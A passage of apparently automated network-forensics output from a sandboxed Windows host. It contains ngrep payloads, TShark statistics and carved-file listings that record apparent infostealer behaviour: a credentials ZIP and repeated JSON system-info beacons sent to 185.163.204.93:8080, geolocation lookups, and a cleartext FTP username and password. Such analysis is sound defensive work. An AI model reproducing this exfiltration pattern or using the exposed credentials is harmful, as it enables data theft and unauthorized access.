.;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #12\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #13\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #14\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #15\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #16\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n####\nT 46.105.59.197:21 -> 192.168.122.168:50062 [AP] #20\n220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------.\n220-You are user number 1 of 50 allowed..\n220-Local time is now 14:29. Server port: 21..\n220-IPv6 connections are also welcome on this server..\n220 You will be disconnected after 15 minutes of inactivity..\"\n0.0,NGrep,#,\"Payload: T 192.168.122.168:50062 -> 46.105.59.197:21 [AP] #21\nUSER admin_syn.\"\n0.0,NGrep,##,\"Payload: T 46.105.59.197:21 -> 192.168.122.168:50062 [AP] #23\n331 User admin_syn OK. Password required.\"\n0.0,NGrep,#,\"Payload: T 192.168.122.168:50062 -> 46.105.59.197:21 [AP] #24\nPASS Black900.\"\n0.0,NGrep,###,\"Payload: T 46.105.59.197:21 -> 192.168.122.168:50062 [AP] #27\n530 Login authentication failed.\"\n0.0,NGrep,#########,\"Payload: T 192.168.122.168:50095 -> 185.163.204.93:8080 [AP] #36\n....\n##\nT 192.168.122.168:50095 -> 185.163.204.93:8080 [AP] #38\n/...\n##\nT 192.168.122.168:50095 -> 185.163.204.93:8080 [AP] #40\nCredentials_DESKTOP-JLCUPK0_20260409_024826.zip\n##\nT 192.168.122.168:50095 -> 185.163.204.93:8080 [AP] #42\nv.......\n##\nT 192.168.122.168:50095 -> 185.163.204.93:8080 [AP] #44\nPK...........\\............\n...Passwords/PK.............\\............\n.................Passwords/PK..........8...(.....\n###########\nT 192.168.122.168:50101 -> 208.95.112.1:80 [AP] #55\nGET /json/?fields=countryCode HTTP/1.1.\nUser-Agent: Mozilla/5.0.\nHost: ip-api.com.\nConnection: Keep-Alive.\n.\"\n0.0,NGrep,##,\"Payload: T 208.95.112.1:80 -> 192.168.122.168:50101 [AP] #57\nHTTP/1.1 200 OK.\nDate: Wed, 29 Apr 2026 14:29:46 GMT.\nContent-Type: application/json; charset=utf-8.\nContent-Length: 20.\nAccess-Control-Allow-Origin: *.\nX-Ttl: 38.\nX-Rl: 43.\n.\n{\"\"countryCode\"\":\"\"NL\"\"}\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [AP] #59\n....\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [AP] #61\n{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [A] #63\n.\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [A] #65\n.\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [A] #67\n.\n####\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [A] #71\n.\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [A] #73\n.\n##\nT 192.168.122.168:50096 -> 185.163.204.93:8080 [A] #75\n.\n##############\nT 192.168.122.168:50145 -> 208.95.112.1:80 [AP] #89\nGET /json/?fields=countryCode HTTP/1.1.\nUser-Agent: Mozilla/5.0.\nHost: ip-api.com.\n.\"\n0.0,NGrep,##,\"Payload: T 208.95.112.1:80 -> 192.168.122.168:50145 [AP] #91\nHTTP/1.1 200 OK.\nDate: Wed, 29 Apr 2026 14:30:53 GMT.\nContent-Type: application/json; charset=utf-8.\nContent-Length: 20.\nAccess-Control-Allow-Origin: *.\nX-Ttl: 0.\nX-Rl: 40.\n.\n{\"\"countryCode\"\":\"\"NL\"\"}\n#\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [AP] #92\n....\n##\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [AP] #94\n{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\n###\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [A] #97\n.\n##\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [A] #99\n.\n##\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [A] #101\n.\n##\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [A] #103\n.\n##\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [A] #105\n.\n####\nT 192.168.122.168:50144 -> 185.163.204.93:8080 [A] #109\n.\n##############\nT 192.168.122.168:50162 -> 208.95.112.1:80 [AP] #123\nGET /json/?fields=countryCode HTTP/1.1.\nUser-Agent: Mozilla/5.0.\nHost: ip-api.com.\n.\"\n0.0,NGrep,##,\"Payload: T 208.95.112.1:80 -> 192.168.122.168:50162 [AP] #125\nHTTP/1.1 200 OK.\nDate: Wed, 29 Apr 2026 14:31:58 GMT.\nContent-Type: application/json; charset=utf-8.\nContent-Length: 20.\nAccess-Control-Allow-Origin: *.\nX-Ttl: 60.\nX-Rl: 44.\n.\n{\"\"countryCode\"\":\"\"US\"\"}\n#\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [AP] #126\n....\n##\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [AP] #128\n{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"US\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\n###\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [A] #131\n.\n##\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [A] #133\n.\n##\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [A] #135\n.\n##\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [A] #137\n.\n####\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [A] #141\n.\n##\nT 192.168.122.168:50161 -> 185.163.204.93:8080 [A] #143\n.\n##############\nT 192.168.122.168:50177 -> 208.95.112.1:80 [AP] #157\nGET /json/?fields=countryCode HTTP/1.1.\nUser-Agent: Mozilla/5.0.\nHost: ip-api.com.\n.\"\n0.0,NGrep,##,\"Payload: T 208.95.112.1:80 -> 192.168.122.168:50177 [AP] #159\nHTTP/1.1 200 OK.\nDate: Wed, 29 Apr 2026 14:33:04 GMT.\nContent-Type: application/json; charset=utf-8.\nContent-Length: 20.\nAccess-Control-Allow-Origin: *.\nX-Ttl: 30.\nX-Rl: 42.\n.\n{\"\"countryCode\"\":\"\"NL\"\"}\n#\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [AP] #160\n....\n##\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [AP] #162\n{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\n###\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [A] #165\n.\n##\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [A] #167\n.\n##\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [A] #169\n.\n##\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [A] #171\n.\n##\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [A] #173\n.\n####\nT 192.168.122.168:50176 -> 185.163.204.93:8080 [A] #177\n.\n##############\nT 192.168.122.168:50181 -> 208.95.112.1:80 [AP] #191\nGET /json/?fields=countryCode HTTP/1.1.\nUser-Agent: Mozilla/5.0.\nHost: ip-api.com.\n.\"\n0.0,NGrep,##,\"Payload: T 208.95.112.1:80 -> 192.168.122.168:50181 [AP] #193\nHTTP/1.1 200 OK.\nDate: Wed, 29 Apr 2026 14:34:09 GMT.\nContent-Type: application/json; charset=utf-8.\nContent-Length: 20.\nAccess-Control-Allow-Origin: *.\nX-Ttl: 60.\nX-Rl: 44.\n.\n{\"\"countryCode\"\":\"\"NL\"\"}\n#\nT 192.168.122.168:50180 -> 185.163.204.93:8080 [AP] #194\n....\n##\nT 192.168.122.168:50180 -> 185.163.204.93:8080 [AP] #196\n{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\n##exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmp5x9cm1vp/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: %3ffields=countryCode,Path: /tmp/tmp5x9cm1vp/tshark/objects/%3ffields=countryCode\n0.0,Forensics,Object Extracted: %3ffields=countryCode(2),Path: /tmp/tmp5x9cm1vp/tshark/objects/%3ffields=countryCode(2)\n0.0,Forensics,Object Extracted: %3ffields=countryCode(3),Path: /tmp/tmp5x9cm1vp/tshark/objects/%3ffields=countryCode(3)\n0.0,Forensics,Object Extracted: %3ffields=countryCode(4),Path: /tmp/tmp5x9cm1vp/tshark/objects/%3ffields=countryCode(4)\n0.0,Forensics,Object Extracted: object44,Path: /tmp/tmp5x9cm1vp/tshark/objects/object44\n0.0,Forensics,Object Extracted: %3ffields=countryCode(1),Path: /tmp/tmp5x9cm1vp/tshark/objects/%3ffields=countryCode(1)\n1777472955.876067,Credential,Auth Success: Cleartext (Unknown),\"User: None, Method: Pattern Match\"\n1777472956.258995,Credential,Auth Success: Cleartext (Unknown),\"User: None, Method: Pattern Match\"\n1777472983.359526,Forensics,File Carved: zip,\"Path: /tmp/tmp5x9cm1vp/carved_files/carved_185.163.204.93:8080-192.168.122.168:50095_fwd_0.zip, Stream: 185.163.204.93:8080-192.168.122.168:50095_fwd\"\n1777472983.359526,Forensics,File Carved: docx,\"Path: /tmp/tmp5x9cm1vp/carved_files/carved_185.163.204.93:8080-192.168.122.168:50095_fwd_1.docx, Stream: 185.163.204.93:8080-192.168.122.168:50095_fwd\"\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-04-29T20:37:10.275734,185.163.204.93:8080->192.168.122.168:50095,185.163.204.93,8080,192.168.122.168,50095,HTTP,carved_185.163.204.93:8080-192.168.122.168:50095_fwd_1.docx,docx,/tmp/tmp5x9cm1vp/carved_files/carved_185.163.204.93:8080-192.168.122.168:50095_fwd_1.docx,22,d651090b5f80153278ceb966858b9437,d540db68b327a7cbbd40cf9cfef4a676b86b94381779f3c58a481bb7ac966592,1.95,,50 4b 05 06 00 00 00 00 01 00 01 00 38 00 00 00 28 00 00 00 00 00\n2026-04-29T20:37:10.275390,185.163.204.93:8080->192.168.122.168:50095,185.163.204.93,8080,192.168.122.168,50095,HTTP,carved_185.163.204.93:8080-192.168.122.168:50095_fwd_0.zip,zip,/tmp/tmp5x9cm1vp/carved_files/carved_185.163.204.93:8080-192.168.122.168:50095_fwd_0.zip,100,ebc4206e0bffc6c0afed94164c8ce6dd,6f8a1830f7f98b1a8de118d1ece220264878c1e9432b7b5382094958a1dfd6a9,2.88,\"Passwords/PK, Passwords/PK\",50 4b 03 04 14 00 00 00 00 00 0b 16 89 5c 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 50 61 73 73 77 6f 72 64 73 2f 50 4b 01 02 14 00 14 00 00 00 00 00 0b 16 89 5c 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 61 73 73 77 6f 72 64 73 2f 50 4b 05 06\n2026-04-29T20:37:10.411964,Tool:tmp5x9cm1vp/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmp5x9cm1vp/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-04-29T20:37:10.421402,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp5x9cm1vp/carved/scalpel/audit.txt,539,8b1366d2a7c06785d8855bc26ccb87c9,37b915cb5cf3b3db96fdd533793e4bad37e84ff2715aaaa2236e3200c0eaed12,5.01,\"Scalpel version 1.60 audit file, Started at Wed Apr 29 20:37:10 2026, Command line:, scalpel -c /tmp/tmp5x9cm1vp/carved/scalpel.conf /tmp/filtered_52_zp8bi.pcap -o /tmp/tmp5x9cm1vp/carved/scalpel , Output directory: /tmp/tmp5x9cm1vp/carved/scalpel, Configuration file: /tmp/tmp5x9cm1vp/carved/scalpel.conf, Opening target , /tmp/filtered_52_zp8bi.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000000.zip         7354, YES               0, filtered_52_zp8bi.pcap, Completed at Wed Apr 29 20:37:10 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 32 30 3a 33 37 3a 31 30 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 35 78 39 63 6d 31 76 70 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 32 5f 7a 70 38 62 69 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 35 78 39 63 6d 31 76 70 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 35 78 39 63 6d 31 76 70 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 35 78 39 63 6d 31 76 70 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 32 5f 7a 70 38 62 69 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 30 2e 7a 69 70 20 20 20 20 20 20 20 20 20 37 33 35 34 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 35 32 5f 7a 70 38 62 69 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 32 30 3a 33 37 3a 31 30 20 32 30 32 36 0a\n2026-04-29T20:37:10.408451,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmp5x9cm1vp/carved/foremost/audit.txt,753,90486f4927ca1afdb7477ae2a8840746,8a079fbf440a8eb080b314414e999820674b28c738aaddd000daaee52a7965a2,4.92,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Wed Apr 29 20:37:10 2026, Invocation: foremost -t all -i /tmp/filtered_52_zp8bi.pcap -o /tmp/tmp5x9cm1vp/carved/foremost , Output directory: /tmp/tmp5x9cm1vp/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_52_zp8bi.pcap, Start: Wed Apr 29 20:37:10 2026, Length: 23 KB (23704 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , 00000014.zip ,       118 B ,        7258 , Finish: Wed Apr 29 20:37:10 2026, 1 FILES EXTRACTED, zip:, ------------------------------------------------------------------, Foremost finished at Wed Apr 29 20:37:10 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 32 30 3a 33 37 3a 31 30 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 32 5f 7a 70 38 62 69 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 35 78 39 63 6d 31 76 70 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 35 78 39 63 6d 31 76 70 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 35 32 5f 7a 70 38 62 69 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 57 65 64 20 41 70 72 20 32 39 20 32 30 3a 33 37 3a 31 30 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 32 33 20 4b 42 20 28 32 33 37 30 34 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 30 3a 09 30 30 30 30 30 30 31 34 2e 7a 69 70 20 09 20 20 20 20 20 20 31 31 38 20 42 20 09 20 20 20 20 20 20 20 37 32 35 38 20 09 20 0a 46 69 6e 69 73 68 3a 20 57 65 64 20 41 70 72 20 32 39 20 32 30 3a 33 37 3a 31 30 20 32 30 32 36 0a 0a 31 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 7a 69 70 3a 3d 20 31 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 32 30 3a 33 37 3a 31 30 20 32 30 32 36 0a\n2026-04-29T20:37:10.408451,Tool:foremost/zip,Unknown,0,Unknown,0,HTTP,00000014.zip,zip,/tmp/tmp5x9cm1vp/carved/foremost/zip/00000014.zip,118,1a71a90f9676149095cdeac5feabfab4,c60b06711def2f8463b33da332704a94f04c7b0e5a76a9780b6bea8ff86519b6,2.77,\"Passwords/PK, Passwords/PK\",50 4b 03 04 14 00 00 00 00 00 0b 16 89 5c 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 50 61 73 73 77 6f 72 64 73 2f 50 4b 01 02 14 00 14 00 00 00 00 00 0b 16 89 5c 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 61 73 73 77 6f 72 64 73 2f 50 4b 05 06 00 00 00 00 01 00 01 00 38 00 00 00 28 00 00 00 00 00\n2026-04-29T20:37:10.421402,Tool:scalpel/zip-6-0,Unknown,0,Unknown,0,HTTP,00000000.zip,zip,/tmp/tmp5x9cm1vp/carved/scalpel/zip-6-0/00000000.zip,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,198,16867,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,5,192.168.122.168,208.95.112.1,GET,ip-api.com,http://ip-api.com,None,Extracted via Decryption\n0,7,192.168.122.168,208.95.112.1,GET,ip-api.com,http://ip-api.com,None,Extracted via Decryption\n0,9,192.168.122.168,208.95.112.1,GET,ip-api.com,http://ip-api.com,None,Extracted via Decryption\n0,11,192.168.122.168,208.95.112.1,GET,ip-api.com,http://ip-api.com,None,Extracted via Decryption\n0,13,192.168.122.168,208.95.112.1,GET,ip-api.com,http://ip-api.com,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte 